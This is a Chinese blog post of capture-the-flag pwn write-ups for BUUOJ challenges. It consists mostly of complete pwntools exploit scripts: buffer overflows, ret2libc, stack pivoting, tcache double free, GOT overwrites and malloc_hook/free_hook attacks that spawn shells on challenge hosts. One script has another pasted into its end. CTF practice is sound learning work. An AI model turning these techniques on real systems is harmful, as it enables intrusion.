BUU PWN (二)

BUU PWN (二)

level0

from pwn import *
#p=process('./level0')
p=remote("node3.buuoj.cn","26684")
p.recvline()
payload='a'*0x80+'a'*8+p64(0x400596)
p.sendline(payload)
p.interactive()

ciscn_2019_n_5

ret2libc 注意retn到system时栈要为0x10的倍数

from pwn import *
from LibcSearcher import *
context.log_level='debug'
#p=process('./ciscn_2019_n_5')
p=remote("node3.buuoj.cn","28393")
elf=ELF("./ciscn_2019_n_5")
p.recvline()
p.sendline('1')
p.recvline()
p.recvline()
payload='a'*0x20+'a'*8+p64(0x400713)+p64(elf.got['puts'])+p64(elf.symbols['puts'])+p64(0x400636)
p.sendline(payload)

puts_got=u64(p.recv(6)+'\x00\x00')
print hex(puts_got)
libc=LibcSearcher('puts',puts_got)
libc_base=puts_got-libc.dump('puts')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')


p.recvuntil("tell me your name\n")
p.sendline('1')
p.recvline()
p.recvline()
paylaod1='a'*0x20+'a'*8+p64(0x4006aa)+p64(0x400713)+p64(bin_sh)+p64(system)
p.sendline(paylaod1)
p.interactive()

ciscn_2019_es_2

题目为32位程序,只能溢出到返回地址,想到了之前的frame faking,且程序正好可以泄露栈地址,将rop链劫持到栈上输入变量的地方即可

from pwn import *
context.log_level='debug'
#p=process('./ciscn_2019_es_2')
p=remote("node3.buuoj.cn","25831")
p.recvline()
#gdb.attach(p,"b *0x080485f4")
payload='a'*0x20+'a'*8
p.send(payload)#leak stack_addr
p.recvuntil('a'*0x28)
stack_addr=u32(p.recv(4))
print hex(stack_addr)
addr=stack_addr-0x38

payload1='a'*4+p32(0x08048400)+'aaaa'+p32(addr+0x10)+'/bin/sh\x00'+'a'*0x10+p32(addr)+p32(0x080485fd)
p.send(payload1)
p.interactive()

ciscn_2019_n_3

程序环境为ubantu18,32位程序,自然而然想到了利用tache,且程序可以覆写got表,并且没开PIE,自然想到覆写got表,而且程序还给了system函数。但是delete是record结构体堆块和record一起释放,而利用free两次任意地址写的攻击方式,对record结构体不适用(record结构体自动赋值,且赋值第一个值为一个函数地址,代码段不可写,会出现地址错误)

不过可以malloc一个和record结构体大小的record,这样就可以绕过。

再接着覆写got表时,由于fgets函数会读取换行覆盖free函数got表时顺带改写了后面一个fgets函数,导致fgets函数出错

可以将fgets函数的got表重新赋值为fgets的延迟定位函数,让他重新定位。

from pwn import *
from LibcSearcher import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.log_level='debug'
#p=process('./ciscn_2019_n_3')
p=remote("node3.buuoj.cn","26778")
def add(index,size,payload):
    p.recvuntil('CNote > ')
    p.sendline('1')
    p.recvuntil('Index > ')
    p.sendline(str(index))
    p.recvuntil('Type > ')
    p.sendline('2')
    p.recvuntil('Length > ')
    p.sendline(str(size))
    p.recvuntil('Value > ')
    p.sendline(payload)
def show(index):
    p.recvuntil('CNote > ')
    p.sendline('3')
    p.recvuntil('Index > ')
    p.sendline(str(index))
def delete(index):
    p.recvuntil('CNote > ')
    p.sendline('2')
    p.recvuntil('Index > ')
    p.sendline(str(index))
add(0,0x20,'0')
add(1,0xc,'1')
delete(0)
delete(0)
delete(1)
add(2,0x20,p32(0x0804b010))
add(3,0x20,p32(0x0804b010))
#gdb.attach(p,"b *0x0804875e")
add(4,0x20,p32(0x08048500)+p32(0x080484b6))
add(5,0x30,'/bin/sh')
delete(5)
#gdb.attach(p)
p.interactive()

roarctf_2019_easy_pwn

题目有着单字节溢出漏洞,利用其修改size,达到溢出效果,实现fastbin_attack但是malloc_hook下的one_gadget全部失效。只有用到free_hook来解题了。

看了一眼网上的wp是用realloc调整栈来达到one_gadget重新生效。

参考链接如下:https://xz.aliyun.com/t/6559

也就是说将malloc_hook上写上realloc函数的地址+偏移,

而realloc_hook上写上one_gadget。

realloc控制好栈之后,执行onegadget的一个操作

free_hook

from pwn import *
context.log_level='debug'
#p=process('./roarctf_2019_easy_pwn')
p=remote("node3.buuoj.cn","25927")
def add(size):
    p.recvuntil("choice: ")
    p.sendline('1')
    p.recvuntil('size: ')
    p.sendline(str(size))
def edit(index,size,payload):
    p.recvuntil("choice: ")
    p.sendline('2')
    p.recvuntil("index: ")
    p.sendline(str(index))
    p.recvuntil("size: ")
    p.sendline(str(size))
    p.recvuntil("content: ")
    p.send(payload)
def show(index):
    p.recvuntil("choice: ")
    p.sendline("4")
    p.recvuntil("index: ")
    p.sendline(str(index))
def delete(index):
    p.recvuntil("choice: ")
    p.sendline("3")
    p.recvuntil("index: ")
    p.sendline(str(index))
add(0x18)#0
add(0x18)#1
add(0x80)#2
add(0x18)#3
edit(0,34,'a'*0x18+'\xb1')
delete(1)
add(0xa0)#1
payload='\x00'*0x18+p64(0x91)+0x80*'\x00'
edit(1,0xa0,payload)
delete(2)
show(1)
p.recvuntil('\x91'+'\x00'*7)
main_arena=u64(p.recv(6)+'\x00'+'\x00')-88
libc_base=main_arena-0x3c4b20
malloc_hook=main_arena-0x10
fake_chunk=malloc_hook-0x8-3
#one_gadget=libc_base+0x4526a#0x4526a #45216 #f02a4 f1147
free_hook=libc_base+0x3c67a8
fake=free_hook-0xb58
system=libc_base+0x45390
print hex(malloc_hook)
print hex(fake_chunk)
print hex(fake)
print hex(free_hook)
add(0x68)#2

delete(2)
payload1='\x00'*0x18+p64(0x71)+p64(fake_chunk)
edit(1,len(payload1),payload1)
add(0x68)#2
add(0x68)#4
payload2='\x00'*3+'\x00'*0x60+p64(fake)[0:6]
edit(4,0x68+10,payload2)

#print hex(one_gadget)
for i in range(10):
    add(0x100)

add(0x100)
payload3="/bin/sh\x00"+'\x00'*0xa0+p64(system)
edit(15,len(payload3),payload3)
delete(15)
#gdb.attach(p)
p.interactive()

realloc_hook

from pwn import *
context.log_level='debug'
p=process('./roarctf_2019_easy_pwn')
#p=remote("node3.buuoj.cn","25927")
def add(size):
    p.recvuntil("choice: ")
    p.sendline('1')
    p.recvuntil('size: ')
    p.sendline(str(size))
def edit(index,size,payload):
    p.recvuntil("choice: ")
    p.sendline('2')
    p.recvuntil("index: ")
    p.sendline(str(index))
    p.recvuntil("size: ")
    p.sendline(str(size))
    p.recvuntil("content: ")
    p.send(payload)
def show(index):
    p.recvuntil("choice: ")
    p.sendline("4")
    p.recvuntil("index: ")
    p.sendline(str(index))
def delete(index):
    p.recvuntil("choice: ")
    p.sendline("3")
    p.recvuntil("index: ")
    p.sendline(str(index))
add(0x18)#0
add(0x18)#1
add(0x80)#2
add(0x18)#3
edit(0,34,'a'*0x18+'\xb1')
delete(1)
add(0xa0)#1
payload='\x00'*0x18+p64(0x91)+0x80*'\x00'
edit(1,0xa0,payload)
delete(2)
show(1)
p.recvuntil('\x91'+'\x00'*7)
main_arena=u64(p.recv(6)+'\x00'+'\x00')-88
libc_base=main_arena-0x3c4b20
malloc_hook=main_arena-0x10
fake_chunk=malloc_hook-0x20-3
one_gadget=libc_base+0xf1147#0x4526a #45216 #f02a4 f1147
free_hook=libc_base+0x3c67a8
fake=free_hook-0xb58
system=libc_base+0x45390
realloc=libc_base+0x846c0
print hex(malloc_hook)
print hex(fake_chunk)
print hex(fake)
print hex(free_hook)
add(0x68)#2

delete(2)
payload1='\x00'*0x18+p64(0x71)+p64(fake_chunk)
edit(1,len(payload1),payload1)
add(0x68)#2
add(0x68)#4
payload2='\x00'*3+'\x00'*8+p64(one_gadget)+p64(realloc+4)
edit(4,len(payload2),payload2)


#gdb.attach(p)
add(0x40)
p.interactive()

level2

from pwn import *
context.log_level='debug'
#p=process('./level2')
p=remote("node3.buuoj.cn","28171")
p.recvline()
payload='a'*0x88+'a'*4+p32(0x08048320)+'a'*4+p32(0x0804a024)
p.sendline(payload)
p.interactive()

level2_x64

from pwn import *
#p=process('./level2_x64')
p=remote("node3.buuoj.cn","28937")
p.recvline()
payload='a'*0x80+'a'*8+p64(0x4006b3)+p64(0x600a90)+p64(0x4004c0)
p.sendline(payload)
p.interactive()

jarvisoj_tell_me_something

from pwn import *
context.log_level='debug'
#p=process('./guestbook')
p=remote("node3.buuoj.cn","29021")
p.recvline()
payload='a'*0x88+p64(0x400620)
#gdb.attach(p,"b *0x400620")
p.sendline(payload)
p.recv()
p.interactive()

[Black Watch 入群题]PWN

framefaking不过注意转移到堆上时地址尽量向后开辟

from pwn import *
from LibcSearcher import *
context.log_level='debug'
bss=0x0804a300
#p=process('./spwn')
p=remote("node3.buuoj.cn","27659")
elf=ELF('./spwn')
p.recvuntil("name?")
payload='a'*0x180+p32(bss+0x1b0)+p32(elf.symbols['write'])+p32(0x080485a9)+p32(1)+p32(elf.got['read'])+p32(4)+p32(elf.symbols['read'])+p32(0x080485a9)+p32(0x0)+p32(bss+0x1b0)+p32(bss+0x1b0)+p32(0x08048511)
p.send(payload)
p.recvuntil("say?")
#gdb.attach(p,"b *0x08048511")
payload1='a'*0x18+p32(bss+0x180)+p32(0x08048511)
p.send(payload1)

puts_addr=u32(p.recv(4))
print hex(puts_addr)

system_addr=puts_addr-0x99a10
binsh_addr=puts_addr+0x84cdb
payload2='a'*4+p32(system_addr)+'a'*4+p32(binsh_addr)
p.sendline(payload2)

p.interactive()from pwn import *
context.log_level='debug'
#p=process('./level3')
p=remote("node3.buuoj.cn","26554")
elf=ELF('./level3')
p.recvline()
payload='a'*0x88+'a'*4+p32(elf.symbols['write'])+p32(0x08048484)+p32(1)+p32(elf.got['write'])+p32(4)
p.sendline(payload)
puts_addr=u32(p.recv(4))

level3

from pwn import *
context.log_level='debug'
#p=process('./level3')
p=remote("node3.buuoj.cn","26554")
elf=ELF('./level3')
p.recvline()
payload='a'*0x88+'a'*4+p32(elf.symbols['write'])+p32(0x08048484)+p32(1)+p32(elf.got['write'])+p32(4)
p.sendline(payload)
puts_addr=u32(p.recv(4))

print hex(puts_addr)
system=puts_addr-0x99a80
bin_sh=puts_addr+0x84c6b
p.recvline()
payload1='a'*0x88+'a'*4+p32(system)+'a'*4+p32(bin_sh)
p.sendline(payload1)

p.interactive()

level3_x64

from pwn import *
context.log_level='debug'
#p=process('./level3_x64')
p=remote("node3.buuoj.cn","29589")
elf=ELF('./level3_x64')
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1
p.recvline()
payload='a'*0x80+'a'*8+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.got['write'])+'a'*8+p64(elf.symbols['write'])+p64(0x40061a)
p.sendline(payload)
write_addr=u64(p.recv(6)+'\x00\x00')
print hex(write_addr)
p.recv()
system=write_addr-0xb1f20
bin_sh=write_addr+0x95aa7
payload='a'*0x80+'a'*8+p64(pop_rdi)+p64(bin_sh)+p64(system)
p.sendline(payload)
p.interactive()

level4

from pwn import *
context.log_level='debug'
#p=process('./level3')
p=remote("node3.buuoj.cn","25664")
elf=ELF('./level4')
payload='a'*0x88+'a'*4+p32(elf.symbols['write'])+p32(0x08048470)+p32(1)+p32(elf.got['write'])+p32(4)
p.sendline(payload)
puts_addr=u32(p.recv(4))

print hex(puts_addr)
system=puts_addr-0x99a80
bin_sh=puts_addr+0x84c6b
payload1='a'*0x88+'a'*4+p32(system)+'a'*4+p32(bin_sh)
p.sendline(payload1)

p.interactive()

login

程序溢出写入shell地址,用户名密码验证正确后,执行该地址

from pwn import *
context.log_level='debug'
#p=process('./login')
p=remote("node3.buuoj.cn","25187")
p.recvuntil('username: ')
p.sendline('admin')
payload='2jctf_pa5sw0rd'+'\x00'*2+'\x00'*0x38+p64(0x400e88)
p.recvuntil('password: ')
#gdb.attach(p,"b *0x400dae")
p.sendline(payload)
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值